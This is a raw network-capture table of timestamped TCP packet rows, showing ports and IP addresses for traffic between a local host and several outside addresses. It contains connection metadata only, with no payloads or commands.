Nov 17, 2024 12:35:39.831111908 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.831124067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.831126928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.831144094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.831145048 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.831172943 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.831202984 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.851327896 CET	443	49903	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:39.862751961 CET	49904	443	192.168.2.5	23.198.7.180
Nov 17, 2024 12:35:39.868613958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.868630886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.868645906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.868714094 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.868736029 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.942630053 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.942657948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.942673922 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.942687988 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.942698002 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.942727089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.942785978 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.942816973 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.942845106 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.942867994 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.942881107 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.942904949 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.942910910 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.942944050 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.942951918 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.943145990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.943196058 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.943196058 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.943202972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.943218946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.943248987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.943273067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.943304062 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.943329096 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.943340063 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.943347931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.943366051 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.943380117 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.945018053 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.945033073 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.945637941 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.945651054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.945674896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.945677042 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.945687056 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.945693970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.945714951 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.945719004 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.945728064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.945754051 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.945756912 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.945779085 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.945811033 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.945837975 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.945852041 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.945867062 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.945883036 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.945894957 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.945924044 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.945924044 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946348906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946374893 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946386099 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946388006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946409941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946425915 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946455956 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946469069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946484089 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946496010 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946497917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946508884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946528912 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946537971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946543932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946567059 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946590900 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946608067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946621895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946636915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946662903 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946686029 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946738958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946752071 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946765900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946789026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946789980 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946804047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946818113 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946821928 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946852922 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946896076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946911097 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946929932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.946959019 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.946974039 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947000980 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947014093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947029114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947045088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947056055 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947081089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947145939 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947160006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947175026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947191000 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947197914 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947206020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947213888 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947243929 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947277069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947298050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947299957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947305918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947329998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947357893 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947382927 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947382927 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947398901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947484016 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947490931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947505951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947520971 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947531939 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947540998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947546959 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947565079 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947568893 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947573900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947609901 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947638035 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947705030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947720051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947740078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947761059 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947870970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947885036 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947900057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947907925 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947915077 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947926044 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947933912 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.947943926 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947957993 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947981119 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.947983980 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948014975 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948033094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948050022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948062897 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948071003 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948080063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948086977 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948106050 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948151112 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948172092 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948184967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948199034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948210001 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948224068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948226929 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948237896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948244095 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948254108 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948256969 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948276043 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948292971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948436975 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948451996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948467970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948491096 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948518991 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948540926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948555946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948570967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948585987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948595047 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948621988 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948647976 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948671103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948685884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948710918 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948719025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948734045 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948759079 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948785067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948823929 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948837042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948874950 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948899031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948911905 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948925972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948935032 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948940992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948955059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.948966980 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.948977947 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949001074 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949018002 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949024916 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949105024 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949155092 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949168921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949182987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949198961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949208975 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949213028 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949227095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949232101 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949240923 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949258089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949260950 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949264050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949270964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949285030 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949310064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949489117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949503899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949520111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949542999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949546099 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949558973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949569941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949573040 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949587107 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949599981 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949603081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949618101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949625015 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949632883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949647903 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949650049 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949661970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949676991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949677944 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949691057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949707031 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949718952 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949744940 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.949939966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949954987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949970007 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949987888 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.949996948 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.950022936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.950047016 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.953198910 CET	443	49903	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:39.975090981 CET	443	49903	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:39.975155115 CET	49903	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:39.977693081 CET	49903	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:39.977704048 CET	443	49903	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:39.987139940 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.987166882 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.987212896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.987225056 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.987227917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.987241030 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.987242937 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.987267971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.987307072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.989707947 CET	49912	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:39.989737988 CET	443	49912	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:39.989799976 CET	49912	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:39.990144014 CET	49912	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:39.990154028 CET	443	49912	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.002460957 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:40.002481937 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:40.002583027 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:40.002595901 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:40.002759933 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:40.003495932 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:40.003560066 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:40.003593922 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:40.003626108 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:40.006742954 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:40.006755114 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:40.061450005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.061492920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.061506033 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.061507940 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.061554909 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.061757088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.061772108 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.061786890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.061810970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.061839104 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.061877012 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.061892986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.061913013 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.061918020 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.061933994 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.061960936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.062011957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.062025070 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.062037945 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.062047958 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.062052965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.062064886 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.062083006 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.062105894 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.064344883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.064359903 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.064445019 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.064460039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.064466953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.064474106 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.064482927 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.064503908 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.064529896 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.064553022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.064568996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.064590931 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.064599037 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.064604044 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.064611912 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.064650059 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065020084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065046072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065059900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065090895 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065095901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065115929 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065140963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065171003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065186977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065233946 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065234900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065251112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065285921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065340042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065368891 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065409899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065411091 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.065426111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065440893 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.065448046 CET	49778	80	192.168.2.5	185.215.113.206
